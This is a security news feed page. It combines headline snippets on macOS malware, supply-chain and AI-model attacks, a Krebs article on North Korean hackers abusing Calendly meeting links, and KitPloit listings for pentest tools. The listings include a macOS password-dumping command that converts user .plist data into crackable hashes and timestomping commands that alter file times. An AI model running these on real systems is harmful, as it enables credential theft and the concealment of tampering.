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Hackers Target macOS Users with Malicious Ads Spreading Stealer Malware

By: Newsroom — March 30th 2024 at 07:16
Malicious ads and bogus websites are acting as a conduit to deliver two different stealer malware, including Atomic Stealer, targeting Apple macOS users. The ongoing infostealer attacks targeting macOS users may have adopted different methods to compromise victims' Macs, but operate with the end goal of stealing sensitive data, Jamf Threat Labs said in a report published Friday. One
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PyPI Halts Sign-Ups Amid Surge of Malicious Package Uploads Targeting Developers

By: Newsroom — March 29th 2024 at 05:37
The maintainers of the Python Package Index (PyPI) repository briefly suspended new user sign-ups following an influx of malicious projects uploaded as part of a typosquatting campaign. PyPI said "new project creation and new user registration" was temporarily halted to mitigate what it said was a "malware upload campaign." The incident was resolved 10 hours later, on March 28, 2024, at 12:56
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GitHub Launches AI-Powered Autofix Tool to Assist Devs in Patching Security Flaws

By: Newsroom — March 21st 2024 at 10:30
GitHub on Wednesday announced that it's making available a feature called code scanning autofix in public beta for all Advanced Security customers to provide targeted recommendations in an effort to avoid introducing new security issues. "Powered by GitHub Copilot and CodeQL, code scanning autofix covers more than 90% of alert types in JavaScript, Typescript, Java, and
☐ ☆ ✇ Security – Cisco Blog

Cisco and Nvidia: Redefining Workload Security

By: Jana Radhakrishnan — March 20th 2024 at 12:00

There has been an exponential increase in breaches within enterprises despite the carefully constructed and controlled perimeters that exist around applications and data. Once an attacker can access… Read more on Cisco Blogs

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From Deepfakes to Malware: AI's Expanding Role in Cyber Attacks

By: Newsroom — March 19th 2024 at 13:55
Large language models (LLMs) powering artificial intelligence (AI) tools today could be exploited to develop self-augmenting malware capable of bypassing YARA rules. "Generative AI can be used to evade string-based YARA rules by augmenting the source code of small malware variants, effectively lowering detection rates," Recorded Future said in a new report shared with The Hacker News.
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QEMU Emulator Exploited as Tunneling Tool to Breach Company Network

By: Newsroom — March 8th 2024 at 07:48
Threat actors have been observed leveraging the QEMU open-source hardware emulator as tunneling software during a cyber attack targeting an unnamed "large company" to connect to their infrastructure. While a number of legitimate tunneling tools like Chisel, FRP, ligolo, ngrok, and Plink have been used by adversaries to their advantage, the development marks the first QEMU that has been
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Over 100 Malicious AI/ML Models Found on Hugging Face Platform

By: Newsroom — March 4th 2024 at 09:22
As many as 100 malicious artificial intelligence (AI)/machine learning (ML) models have been discovered in the Hugging Face platform. These include instances where loading a pickle file leads to code execution, software supply chain security firm JFrog said. "The model's payload grants the attacker a shell on the compromised machine, enabling them to gain full control over victims'
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Lazarus Hackers Exploited Windows Kernel Flaw as Zero-Day in Recent Attacks

By: Newsroom — February 29th 2024 at 11:19
The notorious Lazarus Group actors exploited a recently patched privilege escalation flaw in the Windows Kernel as a zero-day to obtain kernel-level access and disable security software on compromised hosts. The vulnerability in question is CVE-2024-21338 (CVSS score: 7.8), which can permit an attacker to gain SYSTEM privileges. It was resolved by Microsoft earlier this month as part
☐ ☆ ✇ Krebs on Security

Calendar Meeting Links Used to Spread Mac Malware

By: BrianKrebs — February 28th 2024 at 16:56

Malicious hackers are targeting people in the cryptocurrency space in attacks that start with a link added to the target’s calendar at Calendly, a popular application for scheduling appointments and meetings. The attackers impersonate established cryptocurrency investors and ask to schedule a video conference call. But clicking the meeting link provided by the scammers prompts the user to run a script that quietly installs malware on macOS systems.

KrebsOnSecurity recently heard from a reader who works at a startup that is seeking investment for building a new blockchain platform for the Web. The reader spoke on condition that their name not be used in this story, so for the sake of simplicity we’ll call him Doug.

Being in the cryptocurrency scene, Doug is also active on the instant messenger platform Telegram. Earlier this month, Doug was approached by someone on Telegram whose profile name, image and description said they were Ian Lee, from Signum Capital, a well-established investment firm based in Singapore. The profile also linked to Mr. Lee’s Twitter/X account, which features the same profile image.

The investor expressed interest in financially supporting Doug’s startup, and asked if Doug could find time for a video call to discuss investment prospects. Sure, Doug said, here’s my Calendly profile, book a time and we’ll do it then.

When the day and time of the scheduled meeting with Mr. Lee arrived, Doug clicked the meeting link in his calendar but nothing happened. Doug then messaged the Mr. Lee account on Telegram, who said there was some kind of technology issue with the video platform, and that their IT people suggested using a different meeting link.

Doug clicked the new link, but instead of opening up a videoconference app, a message appeared on his Mac saying the video service was experiencing technical difficulties.

“Some of our users are facing issues with our service,” the message read. “We are actively working on fixing these problems. Please refer to this script as a temporary solution.”

Doug said he ran the script, but nothing appeared to happen after that, and the videoconference application still wouldn’t start. Mr. Lee apologized for the inconvenience and said they would have to reschedule their meeting, but he never responded to any of Doug’s follow-up messages.

It didn’t dawn on Doug until days later that the missed meeting with Mr. Lee might have been a malware attack. Going back to his Telegram client to revisit the conversation, Doug discovered his potential investor had deleted the meeting link and other bits of conversation from their shared chat history.

In a post to its Twitter/X account last month, Signum Capital warned that a fake profile pretending to be their employee Mr. Lee was trying to scam people on Telegram.

The file that Doug ran is a simple Apple Script (file extension “.scpt”) that downloads and executes a malicious trojan made to run on macOS systems. Unfortunately for us, Doug freaked out after deciding he’d been tricked — backing up his important documents, changing his passwords, and then reinstalling macOS on his computer. While this a perfectly sane response, it means we don’t have the actual malware that was pushed to his Mac by the script.

But Doug does still have a copy of the malicious script that was downloaded from clicking the meeting link (the online host serving that link is now offline). A search in Google for a string of text from that script turns up a December 2023 blog post from cryptocurrency security firm SlowMist about phishing attacks on Telegram from North Korean state-sponsored hackers.

“When the project team clicks the link, they encounter a region access restriction,” SlowMist wrote. “At this point, the North Korean hackers coax the team into downloading and running a ‘location-modifying’ malicious script. Once the project team complies, their computer comes under the control of the hackers, leading to the theft of funds.”

Image: SlowMist.

SlowMist says the North Korean phishing scams used the “Add Custom Link” feature of the Calendly meeting scheduling system on event pages to insert malicious links and initiate phishing attacks.

“Since Calendly integrates well with the daily work routines of most project teams, these malicious links do not easily raise suspicion,” the blog post explains. “Consequently, the project teams may inadvertently click on these malicious links, download, and execute malicious code.”

SlowMist said the malware downloaded by the malicious link in their case comes from a North Korean hacking group dubbed “BlueNoroff, which Kaspersky Labs says is a subgroup of the Lazarus hacking group.

“A financially motivated threat actor closely connected with Lazarus that targets banks, casinos, fin-tech companies, POST software and cryptocurrency businesses, and ATMs,” Kaspersky wrote of BlueNoroff in Dec. 2023.

The North Korean regime is known to use stolen cryptocurrencies to fund its military and other state projects. A recent report from Recorded Future finds the Lazarus Group has stolen approximately $3 billion in cryptocurrency over the past six years.

While there is still far more malware out there today targeting Microsoft Windows PCs, the prevalence of information-stealing trojans aimed at macOS users is growing at a steady clip. MacOS computers include X-Protect, Apple’s built-in antivirus technology. But experts say attackers are constantly changing the appearance and behavior of their malware to evade X-Protect.

“Recent updates to macOS’s XProtect signature database indicate that Apple are aware of the problem, but early 2024 has already seen a number of stealer families evade known signatures,” security firm SentinelOne wrote in January.

According to Chris Ueland from the threat hunting platform Hunt.io, the Internet address of the fake meeting website Doug was tricked into visiting (104.168.163,149) hosts or very recently hosted about 75 different domain names, many of which invoke words associated with videoconferencing or cryptocurrency. Those domains indicate this North Korean hacking group is hiding behind a number of phony crypto firms, like the six-month-old website for Cryptowave Capital (cryptowave[.]capital).

In a statement shared with KrebsOnSecurity, Calendly said it was aware of these types of social engineering attacks by cryptocurrency hackers.

“To help prevent these kinds of attacks, our security team and partners have implemented a service to automatically detect fraud and impersonations that could lead to social engineering,” the company said. “We are also actively scanning content for all our customers to catch these types of malicious links and to prevent hackers earlier on. Additionally, we intend to add an interstitial page warning users before they’re redirected away from Calendly to other websites. Along with the steps we’ve taken, we recommend users stay vigilant by keeping their software secure with running the latest updates and verifying suspicious links through tools like VirusTotal to alert them of possible malware. We are continuously strengthening the cybersecurity of our platform to protect our customers.”

The increasing frequency of new Mac malware is a good reminder that Mac users should not depend on security software and tools to flag malicious files, which are frequently bundled with or disguised as legitimate software.

As KrebsOnSecurity has advised Windows users for years, a good rule of safety to live by is this: If you didn’t go looking for it, don’t install it. Following this mantra heads off a great deal of malware attacks, regardless of the platform used. When you do decide to install a piece of software, make sure you are downloading it from the original source, and then keep it updated with any new security fixes.

On that last front, I’ve found it’s a good idea not to wait until the last minute to configure my system before joining a scheduled videoconference call. Even if the call uses software that is already on my computer, it is often the case that software updates are required before the program can be used, and I’m one of those weird people who likes to review any changes to the software maker’s privacy policies or user agreements before choosing to install updates.

Most of all, verify new contacts from strangers before accepting anything from them. In this case, had Doug simply messaged Mr. Lee’s real account on Twitter/X or contacted Signum Capital directly, he would discovered that the real Mr. Lee never asked for a meeting.

If you’re approached in a similar scheme, the response from the would-be victim documented in the SlowMist blog post is probably the best.

Image: SlowMist.

Update: Added comment from Calendly.

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New Hugging Face Vulnerability Exposes AI Models to Supply Chain Attacks

By: Newsroom — February 27th 2024 at 10:18
Cybersecurity researchers have found that it's possible to compromise the Hugging Face Safetensors conversion service to ultimately hijack the models submitted by users and result in supply chain attacks. "It's possible to send malicious pull requests with attacker-controlled data from the Hugging Face service to any repository on the platform, as well as hijack any models that are submitted
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Three Tips to Protect Your Secrets from AI Accidents

By: The Hacker News — February 26th 2024 at 10:29
Last year, the Open Worldwide Application Security Project (OWASP) published multiple versions of the "OWASP Top 10 For Large Language Models," reaching a 1.0 document in August and a 1.1 document in October. These documents not only demonstrate the rapidly evolving nature of Large Language Models, but the evolving ways in which they can be attacked and defended. We're going to talk in this
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Microsoft Releases PyRIT - A Red Teaming Tool for Generative AI

By: Newsroom — February 23rd 2024 at 11:31
Microsoft has released an open access automation framework called PyRIT (short for Python Risk Identification Tool) to proactively identify risks in generative artificial intelligence (AI) systems. The red teaming tool is designed to "enable every organization across the globe to innovate responsibly with the latest artificial intelligence advances," Ram Shankar Siva Kumar, AI red team
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How to Achieve the Best Risk-Based Alerting (Bye-Bye SIEM)

By: The Hacker News — February 19th 2024 at 11:30
Did you know that Network Detection and Response (NDR) has become the most effective technology to detect cyber threats? In contrast to SIEM, NDR offers adaptive cybersecurity with reduced false alerts and efficient threat response. Are you aware of Network Detection and Response (NDR) and how it’s become the most effective technology to detect cyber threats?  NDR massively
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Google Open Sources Magika: AI-Powered File Identification Tool

By: Newsroom — February 17th 2024 at 07:26
Google has announced that it's open-sourcing Magika, an artificial intelligence (AI)-powered tool to identify file types, to help defenders accurately detect binary and textual file types. "Magika outperforms conventional file identification methods providing an overall 30% accuracy boost and up to 95% higher precision on traditionally hard to identify, but potentially problematic content
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RustDoor macOS Backdoor Targets Cryptocurrency Firms with Fake Job Offers

By: Newsroom — February 16th 2024 at 13:27
Multiple companies operating in the cryptocurrency sector are the target of an ongoing malware campaign that involves a newly discovered Apple macOS backdoor codenamed RustDoor. RustDoor was first documented by Bitdefender last week, describing it as a Rust-based malware capable of harvesting and uploading files, as well as gathering information about the infected machines. It's
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Alert: New Stealthy "RustDoor" Backdoor Targeting Apple macOS Devices

By: Newsroom — February 10th 2024 at 07:12
Apple macOS users are the target of a new Rust-based backdoor that has been operating under the radar since November 2023. The backdoor, codenamed RustDoor by Bitdefender, has been found to impersonate an update for Microsoft Visual Studio and target both Intel and Arm architectures. The exact initial access pathway used to propagate the implant is currently not known, although
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CISA Warns of Active Exploitation Apple iOS and macOS Vulnerability

By: Newsroom — February 1st 2024 at 05:02
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday added a high-severity flaw impacting iOS, iPadOS, macOS, tvOS, and watchOS to its Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation. The vulnerability, tracked as CVE-2022-48618 (CVSS score: 7.8), concerns a bug in the kernel component. "An attacker with
☐ ☆ ✇ KitPloit - PenTest Tools!

Stompy - Timestomp Tool To Flatten MAC Times With A Specific Timestamp

By: Zion3R — January 31st 2024 at 11:30


A PowerShell function to perform timestomping on specified files and directories. The function can modify timestamps recursively for all files in a directory.

  • Change timestamps for individual files or directories.
  • Recursively apply timestamps to all files in a directory.
  • Option to use specific credentials for remote paths or privileged files.

I've ported Stompy to C#, Python and Go and the relevant versions are linked in this repo with their own readme.

Usage

  • -Path: The path to the file or directory whose timestamps you wish to modify.
  • -NewTimestamp: The new DateTime value you wish to set for the file or directory.
  • -Credentials: (Optional) If you need to specify a different user's credentials.
  • -Recurse: (Switch) If specified, apply the timestamp recursively to all files in the given directory.

Usage Examples

Specify the -Recurse switch to apply timestamps recursively:

  1. Change the timestamp of an individual file:
Invoke-Stompy -Path "C:\path\to\file.txt" -NewTimestamp "01/01/2023 12:00:00 AM"
  1. Recursively change timestamps for all files in a directory:
Invoke-Stompy -Path "C:\path\to\file.txt" -NewTimestamp "01/01/2023 12:00:00 AM" -Recurse 
  1. Use specific credentials:
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Riding the AI Waves: The Rise of Artificial Intelligence to Combat Cyber Threats

By: The Hacker News — January 29th 2024 at 11:11
In nearly every segment of our lives, AI (artificial intelligence) now makes a significant impact: It can deliver better healthcare diagnoses and treatments; detect and reduce the risk of financial fraud; improve inventory management; and serve up the right recommendation for a streaming movie on Friday night. However, one can also make a strong case that some of AI’s most significant impacts
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LODEINFO Fileless Malware Evolves with Anti-Analysis and Remote Code Tricks

By: Newsroom — January 25th 2024 at 11:30
Cybersecurity researchers have uncovered an updated version of a backdoor called LODEINFO that's distributed via spear-phishing attacks. The findings come from Japanese company ITOCHU Cyber & Intelligence, which said the malware "has been updated with new features, as well as changes to the anti-analysis (analysis avoidance) techniques." LODEINFO (versions 0.6.6 and 0.6.7
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"Activator" Alert: MacOS Malware Hides in Cracked Apps, Targeting Crypto Wallets

By: Newsroom — January 23rd 2024 at 12:27
Cracked software have been observed infecting Apple macOS users with a previously undocumented stealer malware capable of harvesting system information and cryptocurrency wallet data. Kaspersky, which identified the artifacts in the wild, said they are designed to target machines running macOS Ventura 13.6 and later, indicating the malware's ability to infect Macs on both Intel and
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Experts Warn of macOS Backdoor Hidden in Pirated Versions of Popular Software

By: Newsroom — January 19th 2024 at 12:48
Pirated applications targeting Apple macOS users have been observed containing a backdoor capable of granting attackers remote control to infected machines. "These applications are being hosted on Chinese pirating websites in order to gain victims," Jamf Threat Labs researchers Ferdous Saljooki and Jaron Bradley said. "Once detonated, the malware will download and execute multiple payloads
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TensorFlow CI/CD Flaw Exposed Supply Chain to Poisoning Attacks

By: Newsroom — January 18th 2024 at 12:34
Continuous integration and continuous delivery (CI/CD) misconfigurations discovered in the open-source TensorFlow machine learning framework could have been exploited to orchestrate supply chain attacks. The misconfigurations could be abused by an attacker to "conduct a supply chain compromise of TensorFlow releases on GitHub and PyPi by compromising TensorFlow's build agents via
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This Free Discovery Tool Finds and Mitigates AI-SaaS Risks

By: The Hacker News — January 17th 2024 at 13:30
Wing Security announced today that it now offers free discovery and a paid tier for automated control over thousands of AI and AI-powered SaaS applications. This will allow companies to better protect their intellectual property (IP) and data against the growing and evolving risks of AI usage. SaaS applications seem to be multiplying by the day, and so does their integration of AI
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Atomic Stealer Gets an Upgrade - Targeting Mac Users with Encrypted Payload

By: Newsroom — January 11th 2024 at 11:40
Cybersecurity researchers have identified an updated version of a macOS information stealer called Atomic (or AMOS), indicating that the threat actors behind the malware are actively enhancing its capabilities. "It looks like Atomic Stealer was updated around mid to late December 2023, where its developers introduced payload encryption in an effort to bypass detection rules,"
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Getting off the Attack Surface Hamster Wheel: Identity Can Help

By: The Hacker News — January 10th 2024 at 11:30
IT professionals have developed a sophisticated understanding of the enterprise attack surface – what it is, how to quantify it and how to manage it.  The process is simple: begin by thoroughly assessing the attack surface, encompassing the entire IT environment. Identify all potential entry and exit points where unauthorized access could occur. Strengthen these vulnerable points using
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NIST Warns of Security and Privacy Risks from Rapid AI System Deployment

By: Newsroom — January 8th 2024 at 07:53
The U.S. National Institute of Standards and Technology (NIST) is calling attention to the privacy and security challenges that arise as a result of increased deployment of artificial intelligence (AI) systems in recent years. “These security and privacy challenges include the potential for adversarial manipulation of training data, adversarial exploitation of model vulnerabilities to
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SpectralBlur: New macOS Backdoor Threat from North Korean Hackers

By: Newsroom — January 5th 2024 at 15:35
Cybersecurity researchers have discovered a new Apple macOS backdoor called SpectralBlur that overlaps with a known malware family that has been attributed to North Korean threat actors. “SpectralBlur is a moderately capable backdoor that can upload/download files, run a shell, update its configuration, delete files, hibernate, or sleep, based on commands issued from the [
☐ ☆ ✇ KitPloit - PenTest Tools!

VED-eBPF - Kernel Exploit And Rootkit Detection Using eBPF

By: Zion3R — December 18th 2023 at 11:30


VED (Vault Exploit Defense)-eBPF leverages eBPF (extended Berkeley Packet Filter) to implement runtime kernel security monitoring and exploit detection for Linux systems.

Introduction

eBPF is an in-kernel virtual machine that allows code execution in the kernel without modifying the kernel source itself. eBPF programs can be attached to tracepoints, kprobes, and other kernel events to efficiently analyze execution and collect data.

VED-eBPF uses eBPF to trace security-sensitive kernel behaviors and detect anomalies that could indicate an exploit or rootkit. It provides two main detections:

  • wCFI (Control Flow Integrity) traces the kernel call stack to detect control flow hijacking attacks. It works by generating a bitmap of valid call sites and validating each return address matches a known callsite.

  • PSD (Privilege Escalation Detection) traces changes to credential structures in the kernel to detect unauthorized privilege escalations.


How it Works

VED-eBPF attaches eBPF programs to kernel functions to trace execution flows and extract security events. The eBPF programs submit these events via perf buffers to userspace for analysis.

wCFI

wCFI traces the call stack by attaching to functions specified on the command line. On each call, it dumps the stack, assigns a stack ID, and validates the return addresses against a precomputed bitmap of valid call sites generated from objdump and /proc/kallsyms.

If an invalid return address is detected, indicating a corrupted stack, it generates a wcfi_stack_event containing:

* Stack trace
* Stack ID
* Invalid return address

This security event is submitted via perf buffers to userspace.

The wCFI eBPF program also tracks changes to the stack pointer and kernel text region to keep validation up-to-date.

PSD

PSD traces credential structure modifications by attaching to functions like commit_creds and prepare_kernel_cred. On each call, it extracts information like:

* Current process credentials
* Hashes of credentials and user namespace
* Call stack

It compares credentials before and after the call to detect unauthorized changes. If an illegal privilege escalation is detected, it generates a psd_event containing the credential fields and submits it via perf buffers.

Prerequsites

VED-eBPF requires:

  • Linux kernel v5.17+ (tested on v5.17)
  • eBPF support enabled
  • BCC toolkit

Current Status

VED-eBPF is currently a proof-of-concept demonstrating the potential for eBPF-based kernel exploit and rootkit detection. Ongoing work includes:

  • Expanding attack coverage
  • Performance optimization
  • Additional kernel versions
  • Integration with security analytics

Conclusion

VED-eBPF shows the promise of eBPF for building efficient, low-overhead kernel security monitoring without kernel modification. By leveraging eBPF tracing and perf buffers, critical security events can be extracted in real-time and analyzed to identify emerging kernel threats for cloud native envionrment.



☐ ☆ ✇ The Hacker News

New Go-Based JaskaGO Malware Targeting Windows and macOS Systems

By: Newsroom — December 20th 2023 at 08:10
A new Go-based information stealer malware called JaskaGO has emerged as the latest cross-platform threat to infiltrate both Windows and Apple macOS systems. AT&T Alien Labs, which made the discovery, said the malware is "equipped with an extensive array of commands from its command-and-control (C&C) server." Artifacts designed for macOS were first observed in July
☐ ☆ ✇ KitPloit - PenTest Tools!

MacMaster - MAC Address Changer

By: Zion3R — December 18th 2023 at 11:30


MacMaster is a versatile command line tool designed to change the MAC address of network interfaces on your system. It provides a simple yet powerful solution for network anonymity and testing.

Features

  • Custom MAC Address: Set a specific MAC address to your network interface.
  • Random MAC Address: Generate and set a random MAC address.
  • Reset to Original: Reset the MAC address to its original hardware value.
  • Custom OUI: Set a custom Organizationally Unique Identifier (OUI) for the MAC address.
  • Version Information: Easily check the version of MacMaster you are using.

Installation

MacMaster requires Python 3.6 or later.

  1. Clone the repository:
    $ git clone https://github.com/HalilDeniz/MacMaster.git
  2. Navigate to the cloned directory:
    cd MacMaster
  3. Install the package:
    $ python setup.py install

Usage

$ macmaster --help         
usage: macmaster [-h] [--interface INTERFACE] [--version]
[--random | --newmac NEWMAC | --customoui CUSTOMOUI | --reset]

MacMaster: Mac Address Changer

options:
-h, --help show this help message and exit
--interface INTERFACE, -i INTERFACE
Network interface to change MAC address
--version, -V Show the version of the program
--random, -r Set a random MAC address
--newmac NEWMAC, -nm NEWMAC
Set a specific MAC address
--customoui CUSTOMOUI, -co CUSTOMOUI
Set a custom OUI for the MAC address
--reset, -rs Reset MAC address to the original value

Arguments

  • --interface, -i: Specify the network interface.
  • --random, -r: Set a random MAC address.
  • --newmac, -nm: Set a specific MAC address.
  • --customoui, -co: Set a custom OUI for the MAC address.
  • --reset, -rs: Reset MAC address to the original value.
  • --version, -V: Show the version of the program.
  1. Set a specific MAC address:
    $ macmaster.py -i eth0 -nm 00:11:22:33:44:55
  2. Set a random MAC address:
    $ macmaster.py -i eth0 -r
  3. Reset MAC address to its original value:
    $ macmaster.py -i eth0 -rs
  4. Set a custom OUI:
    $ macmaster.py -i eth0 -co 08:00:27
  5. Show program version:
    $ macmaster.py -V

Replace eth0 with your desired network interface.

Note

You must run this script as root or use sudo to run this script for it to work properly. This is because changing a MAC address requires root privileges.

Contributing

Contributions are welcome! To contribute to MacMaster, follow these steps:

  1. Fork the repository.
  2. Create a new branch for your feature or bug fix.
  3. Make your changes and commit them.
  4. Push your changes to your forked repository.
  5. Open a pull request in the main repository.

Contact

For any inquiries or further information, you can reach me through the following channels:

Contact



☐ ☆ ✇ KitPloit - PenTest Tools!

Osx-Password-Dumper - A Tool To Dump Users'S .Plist On A Mac OS System And To Convert Them Into A Crackable Hash

By: Zion3R — December 13th 2023 at 11:30


  OSX Password Dumper Script

Overview

A bash script to retrieve user's .plist files on a macOS system and to convert the data inside it to a crackable hash format. (to use with John The Ripper or Hashcat)

Useful for CTFs/Pentesting/Red Teaming on macOS systems.


Prerequisites

  • The script must be run as a root user (sudo)
  • macOS environment (tested on a macOS VM Ventura beta 13.0 (22A5266r))

Usage

sudo ./osx_password_cracker.sh OUTPUT_FILE /path/to/save/.plist


☐ ☆ ✇ The Hacker News

Apple Releases Security Updates to Patch Critical iOS and macOS Security Flaws

By: Newsroom — December 12th 2023 at 06:44
Apple on Monday released security patches for iOS, iPadOS, macOS, tvOS, watchOS, and Safari web browser to address multiple security flaws, in addition to backporting fixes for two recently disclosed zero-days to older devices. This includes updates for 12 security vulnerabilities in iOS and iPadOS spanning AVEVideoEncoder, ExtensionKit, Find My, ImageIO, Kernel, Safari
☐ ☆ ✇ The Hacker News

Mac Users Beware: New Trojan-Proxy Malware Spreading via Pirated Software

By: Newsroom — December 8th 2023 at 09:52
Unauthorized websites distributing trojanized versions of cracked software have been found to infect Apple macOS users with a new Trojan-Proxy malware. "Attackers can use this type of malware to gain money by building a proxy server network or to perform criminal acts on behalf of the victim: to launch attacks on websites, companies and individuals, buy guns, drugs, and other illicit
☐ ☆ ✇ The Hacker News

New Bluetooth Flaw Let Hackers Take Over Android, Linux, macOS, and iOS Devices

By: The Hacker News — December 7th 2023 at 11:46
A critical Bluetooth security flaw could be exploited by threat actors to take control of Android, Linux, macOS and iOS devices. Tracked as CVE-2023-45866, the issue relates to a case of authentication bypass that enables attackers to connect to susceptible devices and inject keystrokes to achieve code execution as the victim. "Multiple Bluetooth stacks have authentication bypass
☐ ☆ ✇ The Hacker News

Atlassian Releases Critical Software Fixes to Prevent Remote Code Execution

By: Newsroom — December 6th 2023 at 09:18
Atlassian has released software fixes to address four critical flaws in its software that, if successfully exploited, could result in remote code execution. The list of vulnerabilities is below - CVE-2022-1471 (CVSS score: 9.8) - Deserialization vulnerability in SnakeYAML library that can lead to remote code execution in multiple products CVE-2023-22522 (CVSS score
☐ ☆ ✇ The Hacker News

New BLUFFS Bluetooth Attack Expose Devices to Adversary-in-the-Middle Attacks

By: Newsroom — December 4th 2023 at 13:16
New research has unearthed multiple novel attacks that break Bluetooth Classic's forward secrecy and future secrecy guarantees, resulting in adversary-in-the-middle (AitM) scenarios between two already connected peers. The issues, collectively named BLUFFS, impact Bluetooth Core Specification 4.2 through 5.4. They are tracked under the identifier CVE-2023-24023 (CVSS score: 6.8)
☐ ☆ ✇ The Hacker News

Google Unveils RETVec - Gmail's New Defense Against Spam and Malicious Emails

By: Newsroom — November 30th 2023 at 13:08
Google has revealed a new multilingual text vectorizer called RETVec (short for Resilient and Efficient Text Vectorizer) to help detect potentially harmful content such as spam and malicious emails in Gmail. "RETVec is trained to be resilient against character-level manipulations including insertion, deletion, typos, homoglyphs, LEET substitution, and more," according to the&
☐ ☆ ✇ The Hacker News

N. Korean Hackers 'Mixing' macOS Malware Tactics to Evade Detection

By: Newsroom — November 28th 2023 at 04:54
The North Korean threat actors behind macOS malware strains such as RustBucket and KANDYKORN have been observed "mixing and matching" different elements of the two disparate attack chains, leveraging RustBucket droppers to deliver KANDYKORN. The findings come from cybersecurity firm SentinelOne, which also tied a third macOS-specific malware called ObjCShellz to the RustBucket campaign
☐ ☆ ✇ McAfee Blogs

AI & Your Family: The Wows and Potential Risks

By: McAfee — November 19th 2023 at 19:34

When we come across the term Artificial Intelligence (AI), our mind often ventures into the realm of sci-fi movies like I, Robot, Matrix, and Ex Machina. We’ve always perceived AI as a futuristic concept, something that’s happening in a galaxy far, far away. However, AI is not only here in our present but has also been a part of our lives for several years in the form of various technological devices and applications.

In our day-to-day lives, we use AI in many instances without even realizing it. AI has permeated into our homes, our workplaces, and is at our fingertips through our smartphones. From cell phones with built-in smart assistants to home assistants that carry out voice commands, from social networks that determine what content we see to music apps that curate playlists based on our preferences, AI has its footprints everywhere. Therefore, it’s integral to not only embrace the wows of this impressive technology but also understand and discuss the potential risks associated with it.

Dig Deeper: Artificial Imposters—Cybercriminals Turn to AI Voice Cloning for a New Breed of Scam

AI in Daily Life: A Blend of Convenience and Intrusion

AI, a term that might sound intimidating to many, is not so when we understand it. It is essentially technology that can be programmed to achieve certain goals without assistance. In simple words, it’s a computer’s ability to predict, process data, evaluate it, and take necessary action. This smart way of performing tasks is being implemented in education, business, manufacturing, retail, transportation, and almost every other industry and cultural sector you can think of.

AI has been doing a lot of good too. For instance, Instagram, the second most popular social network, is now deploying AI technology to detect and combat cyberbullying in both comments and photos. No doubt, AI is having a significant impact on everyday life and is poised to metamorphose the future landscape. However, alongside its benefits, AI has brought forward a set of new challenges and risks. From self-driving cars malfunctioning to potential jobs lost to AI robots, from fake videos and images to privacy breaches, the concerns are real and need timely discussions and preventive measures.

Navigating the Wows and Risks of AI

AI has made it easier for people to face-swap within images and videos, leading to “deep fake” videos that appear remarkably realistic and often go viral. A desktop application called FakeApp allows users to seamlessly swap faces and share fake videos and images. While this displays the power of AI technology, it also brings to light the responsibility and critical thinking required when consuming and sharing online content.

Dig Deeper: The Future of Technology: AI, Deepfake, & Connected Devices

Yet another concern raised by AI is privacy breaches. The Cambridge Analytica/Facebook scandal of 2018, alleged to have used AI technology unethically to collect Facebook user data, serves as a reminder that our private (and public) information can be exploited for financial or political gain. Thus, it becomes crucial to discuss and take necessary steps like locking down privacy settings on social networks and being mindful of the information shared in the public feed, including reactions and comments on other content.

McAfee Pro Tip: Cybercriminals employ advanced methods to deceive individuals, propagating sensationalized fake news, creating deceptive catfish dating profiles, and orchestrating harmful impersonations. Recognizing sophisticated AI-generated content can pose a challenge, but certain indicators may signal that you’re encountering a dubious image or interacting with a perpetrator operating behind an AI-generated profile. Know the indicators. 

AI and Cybercrime

With the advent of AI, cybercrime has found a new ally. As per McAfee’s Threats Prediction Report, AI technology might enable hackers to bypass security measures on networks undetected. This can lead to data breaches, malware attacks, ransomware, and other criminal activities. Moreover, AI-generated phishing emails are scamming people into unknowingly handing over sensitive data.

Dig Deeper: How to Keep Your Data Safe From the Latest Phishing Scam

Bogus emails are becoming highly personalized and can trick intelligent users into clicking malicious links. Given the sophistication of these AI-related scams, it is vital to constantly remind ourselves and our families to be cautious with every click, even those from known sources. The need to be alert and informed cannot be overstressed, especially in times when AI and cybercrime often seem to be two sides of the same coin.

IoT Security Concerns in an AI-Powered World

As homes evolve to be smarter and synced with AI-powered Internet of Things (IoT) products, potential threats have proliferated. These threats are not limited to computers and smartphones but extend to AI-enabled devices such as voice-activated assistants. According to McAfee’s Threat Prediction Report, these IoT devices are particularly susceptible as points of entry for cybercriminals. Other devices at risk, as highlighted by security experts, include routers, and tablets.

This means we need to secure all our connected devices and home internet at its source – the network. Routers provided by your ISP (Internet Security Provider) are often less secure, so consider purchasing your own. As a primary step, ensure that all your devices are updated regularly. More importantly, change the default password on these devices and secure your primary network along with your guest network with strong passwords.

How to Discuss AI with Your Family

Having an open dialogue about AI and its implications is key to navigating through the intricacies of this technology. Parents need to have open discussions with kids about the positives and negatives of AI technology. When discussing fake videos and images, emphasize the importance of critical thinking before sharing any content online. Possibly, even introduce them to the desktop application FakeApp, which allows users to swap faces within images and videos seamlessly, leading to the production of deep fake photos and videos. These can appear remarkably realistic and often go viral.

Privacy is another critical area for discussion. After the Cambridge Analytica/Facebook scandal of 2018, the conversation about privacy breaches has become more significant. These incidents remind us how our private (and public) information can be misused for financial or political gain. Locking down privacy settings, being mindful of the information shared, and understanding the implications of reactions and comments are all topics worth discussing. 

Being Proactive Against AI-Enabled Cybercrime

Awareness and knowledge are the best tools against AI-enabled cybercrime. Making families understand that bogus emails can now be highly personalized and can trick even the most tech-savvy users into clicking malicious links is essential. AI can generate phishing emails, scamming people into handing over sensitive data. In this context, constant reminders to be cautious with every click, even those from known sources, are necessary.

Dig Deeper: Malicious Websites – The Web is a Dangerous Place

The advent of AI has also likely allowed hackers to bypass security measures on networks undetected, leading to data breaches, malware attacks, and ransomware. Therefore, being alert and informed is more than just a precaution – it is a vital safety measure in the digital age.

Final Thoughts

Artificial Intelligence has indeed woven itself into our everyday lives, making things more convenient, efficient, and connected. However, with these advancements come potential risks and challenges. From privacy breaches, and fake content, to AI-enabled cybercrime, the concerns are real and need our full attention. By understanding AI better, having open discussions, and taking appropriate security measures, we can leverage this technology’s immense potential without falling prey to its risks. In our AI-driven world, being informed, aware, and proactive is the key to staying safe and secure.

To safeguard and fortify your online identity, we strongly recommend that you delve into the extensive array of protective features offered by McAfee+. This comprehensive cybersecurity solution is designed to provide you with a robust defense against a wide spectrum of digital threats, ranging from malware and phishing attacks to data breaches and identity theft.

The post AI & Your Family: The Wows and Potential Risks appeared first on McAfee Blog.

